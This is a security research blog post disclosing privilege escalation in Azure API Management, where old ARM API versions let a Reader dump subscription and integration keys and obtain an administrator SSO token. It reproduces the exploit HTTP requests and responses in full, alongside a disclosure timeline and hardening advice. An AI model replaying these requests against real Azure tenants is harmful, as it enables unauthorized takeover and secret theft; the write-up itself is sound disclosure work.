Escalating from Reader to Contributor in Azure API Management pt II

Posted by Christian August Holm Hansen on November 05, 2024 · 17 mins read

Binary Security has found several vulnerabilities in Azure API Management (APIM) over the years. These can, among other things, be exploited to escalate privileges from a Reader role to gaining full control of the APIM service. After receiving our reports, Microsoft has fixed some of these for all users, but other fixes remain hidden behind the toggle “Disable old API versions”.

In this write-up, we detail the bugs that require the attacker to go back in time and use old versions of the ARM API. An attacker with Reader permissions on the APIM service can, contrary to the documentation, perform any operation in APIM including deploying new APIs, changing existing ones and read secrets and subscription keys. This is similar to our previous APIM post, but in comparison, these bugs are still exploitable to some extent.

API Management

APIM, as the name implies, is Microsoft’s offering for managing APIs. The core concepts of APIM include Services, Products, Subscriptions, APIs, Operations, and Backends. An APIM resource, commonly referred to as the Service, can have zero or more Products. A Product primarily groups several APIs that share certain traits. The APIs, consisting of Operations, can belong to zero or more Products. The Subscriptions have keys attached to them that may be used to access the APIs and can correspond to a Product (typically granting access to all APIs related to the Product) or a single API. APIM Policies are code snippets that can be executed in the APIM layer before requests are passed on. This layer offers many ready-made features, such as rate-limiting and JWT parsing. It is also possible to write custom .NET code, but the classes you are allowed to call are limited, likely for security reasons. Policies can be global, Product-scoped, or API-scoped. In an API, the Policy is inherited from the Product and the Service/global scope if the <base/> tag is included. The Backends are typically configured in each API, but they can also be unique across Operations. A Backend is either a tightly-coupled Azure resource, such as an AKS cluster, App Service, or Event Hub, or a URL. Whew, got it? If not, don’t worry, the bugs are much simpler than APIM itself.

In addition to these concepts, we mention Named Values in this write-up. This is simply a key-value store that APIs can use to fetch configuration variables.

Each APIM resource also has its own Management API. By default, this API is accessible either through the Azure Resource Manager (ARM) API or directly via the Direct Management API (DMA) at https://<APIM-service>.management.azure-api.net.

On authorization in the ARM API

The Azure Resource Manager API is central to most of the management of Azure resources. It acts as a middleware between clients (administrators and deployment systems) and the resources themselves, to deploy, read or delete Azure resources. It also handles the authorization, and the service accounts used by ARM normally has all access to the backend resources.

For individual actions in the ARM API, permission strings are used. For example, the following permission string allows the user to read metadata for an API Management Service instance:

Microsoft.ApiManagement/service/read

Permissions strings are of the format {Company}.{ProviderName}/{resourceType}/{action}, where action is one of read/write/delete/action. In most cases, the actions correspond to HTTP methods, and the read action will be authorized to perform a GET request to the resource. This baseline authorization architecture means that every GET endpoint that returns sensitive information is a potential vulnerability and way to escalate privileges. The built-in APIM Service Reader role has the following permissions:

{
  "assignableScopes": [
    "/"
  ],
  "description": "Read-only access to service and APIs",
  "id": "/providers/Microsoft.Authorization/roleDefinitions/71522526-b88f-4d52-b57f-d31fc3546d0d",
  "name": "71522526-b88f-4d52-b57f-d31fc3546d0d",
  "permissions": [
    {
      "actions": [
        "Microsoft.ApiManagement/service/*/read",
        "Microsoft.ApiManagement/service/read",
        "Microsoft.Authorization/*/read",
        "Microsoft.Insights/alertRules/*",
        "Microsoft.ResourceHealth/availabilityStatuses/read",
        "Microsoft.Resources/deployments/*",
        "Microsoft.Resources/subscriptions/resourceGroups/read",
        "Microsoft.Support/*"
      ],
      "notActions": [
        "Microsoft.ApiManagement/service/users/keys/read"
      ],
      "dataActions": [],
      "notDataActions": []
    }
  ],
  "roleName": "API Management Service Reader Role",
  "roleType": "BuiltInRole",
  "type": "Microsoft.Authorization/roleDefinitions"
}

Subscription keys - a security boundary?

Subscription Keys can be used to give users, people or machines, access to one or more API operations through APIM. Subscription keys are included in the Ocp-Apim-Subscription-Key header or query parameter in the HTTP request to authorize it, such as in the following example:

GET /echo/resource HTTP/1.1
Host: tmp-apim.azure-api.net
Ocp-Apim-Subscription-Key: bogus

HTTP/1.1 401 Access Denied
Content-Length: 152
Content-Type: application/json
WWW-Authenticate: AzureApiManagementKey realm="https://tmp-apim.azure-api.net/echo",name="Ocp-Apim-Subscription-Key",type="header"
Date: Fri, 13 Sep 2024 12:22:52 GMT

{ "statusCode": 401, "message": "Access denied due to missing subscription key. Make sure to include subscription key when making requests to an API." }

GET /echo/resource HTTP/1.1
Host: tmp-apim.azure-api.net
Ocp-Apim-Subscription-Key: dc8e54bc2ebe40e280da647d2ee5174d

HTTP/1.1 200 OK
X-Powered-By: Azure API Management - http://api.azure.com/ 
...

Subscription keys is a decent concept in itself, but we don’t recommend using subscription keys for authentication alone. They are static, long-lived secrets that could easily be leaked in source code or through developer machines, and better alternatives exist for strong authentication. Additionally, if your APIM service allows older API versions, anyone with Reader privileges on the resource itself can dump all the subscription keys.

I first came across this bug years ago, when I noticed that Microsoft had hidden the subscription keys from the Azure Portal where my user could previously see them. I intercepted the traffic to the ARM API to see why, and it turned out that they changed this to a POST request, which is not allowed by someone with Reader access! I tried the most obvious thing I could think of, which was going back in time to an earlier API version:

GET /.../Microsoft.ApiManagement/service/tmp-apim-sf/subscriptions?api-version=2014-02-14&$top=20 HTTP/1.1
Host: management.azure.com
Authorization: Bearer eyJ...


HTTP/1.1 200 OK
...

{
    "value": [
        {
            "id": "/subscriptions/66c87239355c960062070001",
            "userId": "/users/1",
            "productId": "/products/starter",
            "name": null,
            "state": "active",
            "createdDate": "2024-08-23T11:27:53.743Z",
            "startDate": null,
            "expirationDate": null,
            "endDate": null,
            "notificationDate": null,
            "primaryKey": "dc8e54bc2ebe40e280da647d2ee5174d",
            "secondaryKey": "6dbe1cc4a01c4c98bf53b7493f122185",
            "stateComment": null
        },
        {
            "id": "/subscriptions/66c87239355c960062070002",
            "userId": "/users/1",
            "productId": "/products/unlimited",
            "name": null,
            "state": "active",
            "createdDate": "2024-08-23T11:27:53.87Z",
            "startDate": null,
            "expirationDate": null,
            "endDate": null,
            "notificationDate": null,
            "primaryKey": "eb75f9ebaf1d4a4a949f39a1d3fd9acd",
            "secondaryKey": "635b27fa2c7e45eaa5dff5ad2c7a9f41",
            "stateComment": null
        }
    ],
    "count": 2,
    "nextLink": null
}

Lo and behold, it worked, simple as that. This technique paved the way for more bugs in Azure, some of which we have written about before.

Other APIM secrets

The going-back-in-time trick is not limited to subscriptions, but can also be used to read other secrets in APIM. For example named value secrets, OAuth credentials for integrating with other IDPs than Entra ID, integration keys and more.

The integration key example is interesting, as it is used to authenticate with the Direct Management API, which is normally available on the internet. The Direct Management API is a REST API that can be used to perform all operations in APIM, such as deploying new APIs, changing policies and reading secrets. Opening the Direct Management API configuration as a reader will show the following:

APIM Direct Management API

It looks like this is restricted information, but if we go back in time, we will receive the keys:

GET /.../Microsoft.ApiManagement/service/tmp-apim-sf/tenant/access?api-version=2018-01-01&$top=20 HTTP/1.1
Host: management.azure.com
Authorization: Bearer eyJ...

HTTP/1.1 200 OK
[...]
Date: Tue, 27 Aug 2024 09:49:10 GMT

{"id":"integration","primaryKey":"ExRBVfse8y0IN7s4NxUwr99l/u2WrEpYawep6YfM/9Z/m+ewso59zV7Jj92mvWYS2OxYn1BVR/kqDFnIEsw+Tw==","secondaryKey":"br7x/8u2lsdkjt/MVnz0aPEEy+aN8rZ8EF+ytvHmoZD/YS4Zwh1xG6/QYgRlX39GEnkEP9dNgccdfBJLYtsv3Q==","enabled":true}

These credentials can be used to create a shared access signature and do any operation on the Direct Management API if the “Enable Management REST API” is toggled. If the toggle is off, these specific credentials can’t be used, but the Direct Management API on https://<service>.management.azure-api.net is still available.

One privesc to rule them all

The bugs presented until now will be of limited impact for most APIM instances, as subscription keys are not very powerful alone and the Direct Management API is disabled by default. However, when researching for a talk on this topic recently, I found myself comparing the API documentation on old and newer ARM APIs and found an interesting endpoint:

GET /.../providers/Microsoft.ApiManagement/service/tmp-test-apim/getssotoken?api-version=2016-07-07 HTTP/2
Host: management.azure.com
Authorization: Bearer eyJ0...

HTTP/2 200 OK
...
Date: Fri, 23 Aug 2024 12:44:33 GMT

{"redirect_uri":"https://tmp-apim-sf.portal.azure-api.net:443/signin-sso?token=1%26202408231249%2675LO%2bVJqRWrYqgulbD7bnkOehb%2bdOTmZEvkWGSxatQNoNH5VDAv3op9bOpHScju2nUdozOa%2buyfdiP7vahqWtA%3d%3d"}

This gives the redirect URI to the portal with a ready-made Shared Access Signature (SAS). Decoding the SAS-token we get:

1&202408231249&75LO+VJqRWrYqgulbD7bnkOehb+dOTmZEvkWGSxatQNoNH5VDAv3op9bOpHScju2nUdozOa+uyfdiP7vahqWtA==

where the first part, 1, is the user ID. This is the built-in, default Administrator with all accesses to the service. This is similar to another write-up by Outpost24, though on a different API.

But I didn’t have a Portal on this APIM instance, and neither do most other APIM instances I have seen. Was this just another edge-case bug where we could exploit an APIM instance with the right configuration? I recognized the format of the special APIM SAS token from earlier adventures, and tried it on the Management API, which is exposed on the internet by default:

GET /subscriptions/0/resourceGroups/0/providers/Microsoft.ApiManagement/service/tmp-apim-sf/subscriptions?api-version=2023-09-01-preview HTTP/1.1
Host: tmp-apim-sf.management.azure-api.net
Authorization: SharedAccessSignature 1&202408231249&75LO+VJqRWrYqgulbD7bnkOehb+dOTmZEvkWGSxatQNoNH5VDAv3op9bOpHScju2nUdozOa+uyfdiP7vahqWtA==

HTTP/1.1 200 OK
Content-Length: 2405
Content-Type: application/json; charset=utf-8
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Date: Fri, 23 Aug 2024 12:50:10 

{
  "value": [
    {
      "id": "/subscriptions/0/resourceGroups/0/providers/Microsoft.ApiManagement/service/tmp-apim-sf/subscriptions/66c87239355c960062070001",
      "type": "Microsoft.ApiManagement/service/subscriptions",
      "name": "66c87239355c960062070001",
      "properties": {
        "ownerId": "/subscriptions/0/resourceGroups/0/providers/Microsoft.ApiManagement/service/tmp-apim-sf/users/1",
        "scope": "/subscriptions/0/resourceGroups/0/providers/Microsoft.ApiManagement/service/tmp-apim-sf/products/starter",
        "displayName": null,
        "state": "active",
        "createdDate": "2024-08-23T11:27:53.743Z",
        "startDate": null,
        "expirationDate": null,
        "endDate": null,
        "notificationDate": null,
        "stateComment": null,
        "allowTracing": false
      }
    },
    ...
  ],
  "count": 3
}

Woot, it did in fact have access to the Management API, as the built-in Administrator user. With this, we can perform any action in APIM, leading to a complete compromise from our starting point of having Reader privileges. I used it to deploy an API to my test APIM service and called it a wrap:

PUT /subscriptions/0/resourceGroups/0/providers/Microsoft.ApiManagement/service/tmp-test-apim/apis/new-api/?api-version=2024-06-01-preview HTTP/1.1
Host: tmp-test-apim.management.azure-api.net
Authorization: SharedAccessSignature 1&202408011143&YN0CQuPN7rqrwwpwKEvIU01peaDdTdnMY0EGuVl8kpumlPaJVZTe+MnTouAlq51GnE+FsWt4PCYi9smIuZ0yIA==
Content-Type: application/json
Content-Length: 73

{"name":"new-api","path":"test123","protocols":["https"],"properties":{}}

HTTP/1.1 201 Created
Content-Length: 735
Content-Type: application/json; charset=utf-8
ETag: "AAAAAAAAD6w="
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Date: Thu, 01 Aug 2024 11:38:40 GMT
Connection: close

{
  "id": "/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/tmp-appservice/providers/Microsoft.ApiManagement/service/tmp-test-apim/apis/new-api",
  "type": "Microsoft.ApiManagement/service/apis",
  "name": "new-api",
  "properties": {
    "displayName": "new-api",
    "apiRevision": "1",
    "description": null,
    "subscriptionRequired": true,
    "serviceUrl": null,
    "backendId": null,
    "path": "test123",
    "protocols": [
      "https"
    ],
    "authenticationSettings": {
      "oAuth2": null,
      "openid": null
    },
    "subscriptionKeyParameterNames": {
      "header": "Ocp-Apim-Subscription-Key",
      "query": "subscription-key"
    },
    "isCurrent": true
  }
}

Even though Microsoft does not pay bounties for this type of bug (using legacy ARM APIs), I reported this particular bug to them prior to holding a public talk on the topic. They decided to fix this specific bug by returning an empty response to readers, but the other bugs are, as I am writing this, still exploitable.

Video PoC

You can watch a full PoC of the get SSO token attack here:


Vendor Response

I think Microsoft could have handled this better. The reason why legacy APIs could not be disabled outright is most likely because of customer automation. However, when they introduced the toggle to disable the legacy APIs, they should have communicated the risk more clearly to their customers. If you deploy a new APIM service, the legacy APIs are also enabled by default, which I don’t understand the rationale behind.

I am also somewhat disappointed in the MSRC responses, as some of them are incorrect, and my final questions have not been answered. They also made changes directly based on my reports, but did not communicate this to me without myself asking, nor did they issue any bounties.

Timeline

  • February 2, 2023: Initial report on the subscription key bug
  • April 17, 2023: MSRC responds that it is by design AND a known security issue (!?). The legacy APIs are planned to be disabled in September 2023.
  • Sometime in 2023: my colleagues report a few more bugs, such as the integration keys.
  • August 2, 2024: I report the get SSO token bug to MSRC as I am going to include it as a live demo in a talk.
  • August 21, 2024: MSRC asks for my slides, which I send them
  • Friday August 23, 2024: I test my live demo that I am going to present on Tuesday, and discover that it’s fixed. I have to change my live demo to use other bugs :(
  • August 30, 2024: MSRC informs me that the bug has been fixed, but rated “not a security vulnerability, considering we blocked the old version of the API”, which is obviously not true.
  • August 30, 2024: I ask what they mean, as the old version of the API is definitely not blocked by default (at least not last time I tested it). MSRC has not responded to this inquiry.

Recommendations

One of the most effective ways of building defense in depth in Azure is, in our opinion, to restrict network-level access to management interfaces. This is not limited to APIM, but applies to App Services, VMs and more. This will not only protect against unknown-unknowns, such as vulnerabilities in the resource management APIs themselves, but also restrict the blast-radius of an attack that reveals keys or tokens to the APIs. Ideally, it should be implemented using VNETs, jump hosts and dedicated CI/CD IP addresses for deployment, but simply restricting access to known good IP addresses that you control is a great first step. This can be slightly cumbersome when the CI/CD can have a lot of IP addresses that may be shared, such as in GitHub Actions, but here you can either open the firewall to the pipeline just-in-time or use self-hosted runners.

You should also ensure that legacy APIs are disabled in your APIM services, which can be found in the Portal under Deployment + infrastructure -> Management API -> Management API Settings or the ARM property properties.apiVersionConstraint.minApiVersion. According to Microsoft, legacy APIs will be automatically disabled in the future, originally planned from September 2023, now June 2024, but these are still enabled by default when I deploy.

Finally, try to avoid trusting a single Microsoft security feature to handle all of your security needs if the service is business-critical, as the pitfalls are many and there a lot of vulnerabilities outside your control in Azure itself.

If APIM is used as a central component in a product or organization, it can grow to a huge, unmanageable beast ripe with vulnerabilities. If you have any questions or think we can help uncovering the hidden risk in your APIM platform, feel free to contact us at contact@binarysecurity.no.

Previous